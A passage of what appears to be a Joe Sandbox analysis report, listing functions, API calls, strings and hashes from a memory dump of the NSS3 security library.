PR_EnterMonitor.NSS3(00000000,?,?,6C787F5D,00000000,00000000,?,?,?,6C7880DD), ref: 6C77E532

Part of subcall function 6C839090: TlsGetValue.KERNEL32 ref: 6C8390AB
Part of subcall function 6C839090: TlsGetValue.KERNEL32 ref: 6C8390C9
Part of subcall function 6C839090: EnterCriticalSection.KERNEL32 ref: 6C8390E5
Part of subcall function 6C839090: TlsGetValue.KERNEL32 ref: 6C839116
Part of subcall function 6C839090: LeaveCriticalSection.KERNEL32 ref: 6C83913F

PR_EnterMonitor.NSS3(6C7880DD), ref: 6C77E549

Part of subcall function 6C839090: LeaveCriticalSection.KERNEL32 ref: 6C8391AA
Part of subcall function 6C839090: TlsGetValue.KERNEL32 ref: 6C839212
Part of subcall function 6C839090: _PR_MD_WAIT_CV.NSS3 ref: 6C83926B

PR_ExitMonitor.NSS3 ref: 6C77E56D
PL_HashTableDestroy.NSS3 ref: 6C77E57B

Part of subcall function 6C77E190: PR_EnterMonitor.NSS3(?,?,6C77E175), ref: 6C77E19C
Part of subcall function 6C77E190: PR_EnterMonitor.NSS3(6C77E175), ref: 6C77E1AA
Part of subcall function 6C77E190: PR_ExitMonitor.NSS3 ref: 6C77E208
Part of subcall function 6C77E190: PL_HashTableRemove.NSS3(?), ref: 6C77E219
Part of subcall function 6C77E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C77E231
Part of subcall function 6C77E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C77E249
Part of subcall function 6C77E190: PR_ExitMonitor.NSS3 ref: 6C77E257

PR_ExitMonitor.NSS3(6C7880DD), ref: 6C77E5B5
PR_DestroyMonitor.NSS3 ref: 6C77E5C3

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Monitor$Enter$ExitValue$CriticalSection$Arena_DestroyFreeHashLeaveTableUtil$Remove
String ID:
API String ID: 3740585915-0
Opcode ID: 22d5383a2a91b5e4c906a338a55f38b63aad938f940920ff5e8e9e44d2cc8276
Instruction ID: 349d180b109a5c4410498aefe37a0bfc775667e0ba60655e1e22c4eb92317ab9
Opcode Fuzzy Hash: 22d5383a2a91b5e4c906a338a55f38b63aad938f940920ff5e8e9e44d2cc8276
Instruction Fuzzy Hash: 19016DB0E201988BEF309B68EE056953BB5F74234CF002136DC18A1A22FB317559EBC2

Function 6C75AE30 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CDD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C75AFDA

Strings

misuse, xrefs: 6C75AFCE
unable to delete/modify collation sequence due to active statements, xrefs: 6C75AF5C
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C75AFC4
%s at line %d of [%.10s], xrefs: 6C75AFD3

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify collation sequence due to active statements
API String ID: 632333372-924978290
Opcode ID: e4c425fbf38fac8fae3911cf420a5bc8b9a3d5897ae6c79344fe79a391e8102d
Instruction ID: 1b702d19bb83ea1c6f156951525cd24a45d974971fe446a92ae4049b8277810f
Opcode Fuzzy Hash: e4c425fbf38fac8fae3911cf420a5bc8b9a3d5897ae6c79344fe79a391e8102d
Instruction Fuzzy Hash: 4391E171B012158FDB04CF59CA50ABABBF1BF45324F5984B8E864AB791CB31EC11CBA0

Function 6C6FE6D0 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 194COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?), ref: 6C6FE81D
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010966,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,6C6FDB91,?,?), ref: 6C6FE8E7

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6FE8C5, 6C6FE8D1, 6C6FE8F9, 6C6FE905, 6C6FE911, 6C6FE91D, 6C6FE929, 6C6FE935
%s at line %d of [%.10s], xrefs: 6C6FE8E0
database corruption, xrefs: 6C6FE8DB

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 3107271255-598938438
Opcode ID: 15fd737d7cb1c626efee357fa18b94224362f67051e8dd16d0b82f7cd065b05f
Instruction ID: 26b368c0e1ca42c5c5b982ba63a7fbb2fdfd2e5060667f2229f8cf97dacb171c
Opcode Fuzzy Hash: 15fd737d7cb1c626efee357fa18b94224362f67051e8dd16d0b82f7cd065b05f
Instruction Fuzzy Hash: 3371A071D042299FCB14CF9DC490AEEBBF2AF09314F14456AE864BBB41D374A942CBA5

Function 6C6FE4C0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 92COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000108D2,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6FE53A
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000108BD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6FE5BC

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6FE525, 6C6FE596, 6C6FE5A7
%s at line %d of [%.10s], xrefs: 6C6FE534, 6C6FE5B6
database corruption, xrefs: 6C6FE52F, 6C6FE5B1

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: e8e4729ad7292eed3d535cf1d7a6c875e31938b5a974bfeeaf728bda71c0d1da
Instruction ID: 57b3e45595140f57b7eff720064064d7ffe13f4ba356cb96ed6bb80527629b59
Opcode Fuzzy Hash: e8e4729ad7292eed3d535cf1d7a6c875e31938b5a974bfeeaf728bda71c0d1da
Instruction Fuzzy Hash: AB313A306407159BC322CE9DC88096ABBA2EF45714B540D7DE458A7B41F376E94BC3E4

Function 6C776420 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 75COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000,00000001,00000000,00000000,?,?,6C775DEF,?,?,?), ref: 6C776456
CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001,00000001,00000000,00000000,?,?,6C775DEF,?,?,?), ref: 6C776476
CERT_DestroyCertificate.NSS3(00000000,?,?,?,?,?,?,6C775DEF,?,?,?), ref: 6C7764A0
PR_SetError.NSS3(FFFFE020,00000000,00000001,00000000,00000000,?,?,6C775DEF,?,?,?), ref: 6C7764C2

Strings

]wl, xrefs: 6C776489

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: CertificateError$DestroyTemp
String ID: ]wl
API String ID: 3886907618-1799454423
Opcode ID: 69f7a8026667b2e723c64be03bd8d7d7b0b57e47e95c4ffce8af3ad3ba9e6179
Instruction ID: e1bba658107f98565a8018aba8c0b767018561cd3d44a4e3b83e429f08f132db
Opcode Fuzzy Hash: 69f7a8026667b2e723c64be03bd8d7d7b0b57e47e95c4ffce8af3ad3ba9e6179
Instruction Fuzzy Hash: 0021E7B1A003196BEF309F68DD09B6376E8AB40308F144938F529C6B45E7B2D768C7B1

Function 6C7C4590 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000008,?,6C7C473B,00000000,?,6C7B7A4F,?), ref: 6C7C459B

Part of subcall function 6C7D0BE0: malloc.MOZGLUE(6C7C8D2D,?,00000000,?), ref: 6C7D0BF8
Part of subcall function 6C7D0BE0: TlsGetValue.KERNEL32(6C7C8D2D,?,00000000,?), ref: 6C7D0C15

TlsGetValue.KERNEL32(?,?,6C7C473B,00000000,?,6C7B7A4F,?), ref: 6C7C45BF
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6C7C473B,00000000,?,6C7B7A4F,?), ref: 6C7C45D3
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,6C7C473B,00000000,?,6C7B7A4F,?), ref: 6C7C45E8

Strings

Oz{l, xrefs: 6C7C4594

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Value$Alloc_CriticalEnterSectionUnlockUtilmalloc
String ID: Oz{l
API String ID: 2963671366-865793983
Opcode ID: a7471a558bf16fd35812be7395ef0f627357bcb867c30a1f431b2b9d53f2b608
Instruction ID: 12c867fc235cfe1dca52121c8b6ffa3e2ce88b55b331beafdf776e2bda147f02
Opcode Fuzzy Hash: a7471a558bf16fd35812be7395ef0f627357bcb867c30a1f431b2b9d53f2b608
Instruction Fuzzy Hash: EB217FB4B00206AFDB109F69DE495AABBB4FF09319F004539E849D7A11E731E964CBD2

Function 6C760DC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140(00000000,0000005C,00000000,00000000,00000000,?,6C760BDE), ref: 6C760DCB
strrchr.VCRUNTIME140(00000000,0000005C,?,6C760BDE), ref: 6C760DEA
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(00000001,00000001,?,?,?,6C760BDE), ref: 6C760DFC
PR_LogPrint.NSS3(%s incr => %d (find lib),?,?,?,?,?,?,?,6C760BDE), ref: 6C760E32

Strings

%s incr => %d (find lib), xrefs: 6C760E2D

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: strrchr$Print_stricmp
String ID: %s incr => %d (find lib)
API String ID: 97259331-2309350800
Opcode ID: 305e507e4c6c491c3b35fb4ec9ab946a534ca960af33628913295ae2d31ebab8
Instruction ID: 241008958fb5cad3926823393d74f962153727fdf850e9276bfb0288546f6175
Opcode Fuzzy Hash: 305e507e4c6c491c3b35fb4ec9ab946a534ca960af33628913295ae2d31ebab8
Instruction Fuzzy Hash: 7E019E726016249FE6209F2ADD49A1773ACDF45B09B0548B9ED09D3E42E761FC1487E1

Function 6C7C4760 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 46COMMON

Download Yara Rule

APIs

SECMOD_DestroyModule.NSS3(00000000,?,6C7B7A47,?), ref: 6C7C477E

Part of subcall function 6C7C4470: TlsGetValue.KERNEL32(00000000,?,6C787296,00000000), ref: 6C7C4487
Part of subcall function 6C7C4470: EnterCriticalSection.KERNEL32(?,?,?,6C787296,00000000), ref: 6C7C44A0
Part of subcall function 6C7C4470: PR_Unlock.NSS3(?,?,?,?,6C787296,00000000), ref: 6C7C44BB

TlsGetValue.KERNEL32(00000000,?,6C7B7A47,?), ref: 6C7C478E
EnterCriticalSection.KERNEL32(?,?,?,6C7B7A47,?), ref: 6C7C47A3
PR_Unlock.NSS3(?,?,?,?,6C7B7A47,?), ref: 6C7C47B8

Strings

Gz{l, xrefs: 6C7C4769

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$DestroyModule
String ID: Gz{l
API String ID: 342238404-4130266960
Opcode ID: a3c5509845cad15fb2c52546a577e87dd1b1626a39414fd1538b12226b1742c1
Instruction ID: ff9d77654877c76a99fed8918bd2bd605c2ef0aee2fa8d80fd329bc867afb207
Opcode Fuzzy Hash: a3c5509845cad15fb2c52546a577e87dd1b1626a39414fd1538b12226b1742c1
Instruction Fuzzy Hash: 5E0179B4A046029FDB10AF39D64856ABBF4BF0635DF054969DC8887A01E730E8A4CBD2

Function 6C7E85A0 Relevance: 7.7, APIs: 5, Instructions: 209COMMON

Download Yara Rule

APIs

SECKEY_SignatureLen.NSS3(?), ref: 6C7E86AD
SECKEY_SignatureLen.NSS3(?), ref: 6C7E86D0

Part of subcall function 6C782340: PL_InitArenaPool.NSS3(?,security,00000090,00000008), ref: 6C782387
Part of subcall function 6C782340: PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C782391
Part of subcall function 6C782340: PORT_Alloc_Util.NSS3(00000000), ref: 6C7823AA
Part of subcall function 6C782340: SEC_QuickDERDecodeItem_Util.NSS3(?,?,6C899F14,?), ref: 6C7823D2
Part of subcall function 6C782340: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C7823E1
Part of subcall function 6C782340: PR_CallOnce.NSS3(6C8D2AA4,6C7D12D0), ref: 6C7823F5
Part of subcall function 6C782340: PL_FreeArenaPool.NSS3(?), ref: 6C782407

PK11_VerifyWithMechanism.NSS3(?,00000011,00000000,?,?,?), ref: 6C7E87B5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C7E87C9
PR_SetError.NSS3(FFFFD057,00000000), ref: 6C7E880B

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Util$Item_$Alloc_ArenaPoolSignatureZfree$CallDecodeErrorFreeInitK11_MechanismOnceQuickVerifyWith
String ID:
API String ID: 4115714656-0
Opcode ID: 716a75890981264d30c9c9e3a27ac3a1f0ad368ba9f327ffab2a4b296119ad2b
Instruction ID: d0ab32ccdf5e78fe166fc53e9ab0ab30308298eac7e98ebf4d8f2ca498aa8d35
Opcode Fuzzy Hash: 716a75890981264d30c9c9e3a27ac3a1f0ad368ba9f327ffab2a4b296119ad2b
Instruction Fuzzy Hash: 6E81A172E001099FDF04CF98DA94BAE77B1EB49318F24403AE919AB781D731ED01CB91

Function 6C7BC590 Relevance: 7.7, APIs: 5, Instructions: 155COMMON

Download Yara Rule

APIs

PK11_DoesMechanism.NSS3(?,?,?,?), ref: 6C7BC5C7
PK11_DoesMechanism.NSS3(?,?,?,?), ref: 6C7BC603
PK11_DoesMechanism.NSS3(?,?,?,?), ref: 6C7BC636
PK11_FreeSymKey.NSS3(?), ref: 6C7BC6D7
PK11_FreeSymKey.NSS3(?), ref: 6C7BC6E1

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: K11_$DoesMechanism$Free
String ID:
API String ID: 3860933388-0
Opcode ID: a79781f0bdb61721d8d07cd1766fbe289ab8c1ae8107141fc13bd2a278baa033
Instruction ID: ee56d6a53853c71b63901b0ddd4d969b2ec89902346d2bde369a01b625a0e297
Opcode Fuzzy Hash: a79781f0bdb61721d8d07cd1766fbe289ab8c1ae8107141fc13bd2a278baa033
Instruction Fuzzy Hash: F64162B560120AAFDB01AF69DD85DAB77A9EF1834DB504038FD08E7710E731E925CBA1

Function 6C7D4690 Relevance: 7.6, APIs: 5, Instructions: 116memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(00000001,00000000,00000000,6C8C0148,?,6C7873A4,?,00000027,00000022), ref: 6C7D46D9
PORT_ZAlloc_Util.NSS3(00000001,00000022), ref: 6C7D473E
free.MOZGLUE(00000000,?,00000022), ref: 6C7D476C
free.MOZGLUE(00000000,?,00000022), ref: 6C7D477A
PORT_Strdup_Util.NSS3(6C8C0148,00000000,00000000,6C8C0148,?,6C7873A4,?,00000027,00000022), ref: 6C7D4788

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Util$Alloc_free$Strdup_
String ID:
API String ID: 1542459429-0
Opcode ID: d1548dc189c4296ed74e0323b195db3f127780aab29a2d5668d3f0e65753f154
Instruction ID: afbfff2bcc435d6efdcf1825ad1963a5d6bc23926f455107f55ca2ef4b39ff61
Opcode Fuzzy Hash: d1548dc189c4296ed74e0323b195db3f127780aab29a2d5668d3f0e65753f154
Instruction Fuzzy Hash: B1315A5A6096C44EE7020B399EA53F72F964B4716CF1E0078ECD6C7B02D203A00D9791

Function 6C802460 Relevance: 7.6, APIs: 5, Instructions: 105memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,6C8A7379,00000002,?), ref: 6C802493
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C8024B4
PR_SetError.NSS3(FFFFE005,00000000,?,?,?,?,?,6C8A7379,00000002,?), ref: 6C8024EA
PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,6C8A7379,00000002,?), ref: 6C8024F5
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,6C8A7379,00000002,?), ref: 6C8024FE

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Error$Alloc_FreeK11_Utilfree
String ID:
API String ID: 2595244113-0
Opcode ID: eb961b0c374086ce7028eb4398527f8b8176338750fedb56c5b3059d94cecd41
Instruction ID: c2cb612006aac594e5313b2768b2c1b2e80df43374e8618bb8e63e7e5e8e758c
Opcode Fuzzy Hash: eb961b0c374086ce7028eb4398527f8b8176338750fedb56c5b3059d94cecd41
Instruction Fuzzy Hash: 453104B1B00116ABEB208FA4DD49BBF77A4EF48308F104525FD1496A80E778D954C7E1

Function 6C808530 Relevance: 7.6, APIs: 5, Instructions: 103COMMON

Download Yara Rule

APIs

PR_GetIdentitiesLayer.NSS3 ref: 6C808549
TlsGetValue.KERNEL32 ref: 6C8085CF
TlsGetValue.KERNEL32 ref: 6C8085FE
TlsGetValue.KERNEL32 ref: 6C808629
memcpy.VCRUNTIME140 ref: 6C808655

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Value$IdentitiesLayermemcpy
String ID:
API String ID: 2311246771-0
Opcode ID: 757d0f79c4c40cd57fcf80a77fc373be42592a01c9c0f0776dc527d011369082
Instruction ID: ebbf49a5e183a354f292c7e914152560971b5a17de2a0885342736cdd23309af
Opcode Fuzzy Hash: 757d0f79c4c40cd57fcf80a77fc373be42592a01c9c0f0776dc527d011369082
Instruction Fuzzy Hash: 8A4160707056058FEB20AF79DA4865AB7B4BF45308F128A3AD8A847A51DB309CD4CB86

Function 6C76EDE0 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C76EDFD
calloc.MOZGLUE(00000001,00000000), ref: 6C76EE64
PR_SetError.NSS3(FFFFE8AC,00000000), ref: 6C76EECC
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C76EEEB
free.MOZGLUE(?), ref: 6C76EEF6

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
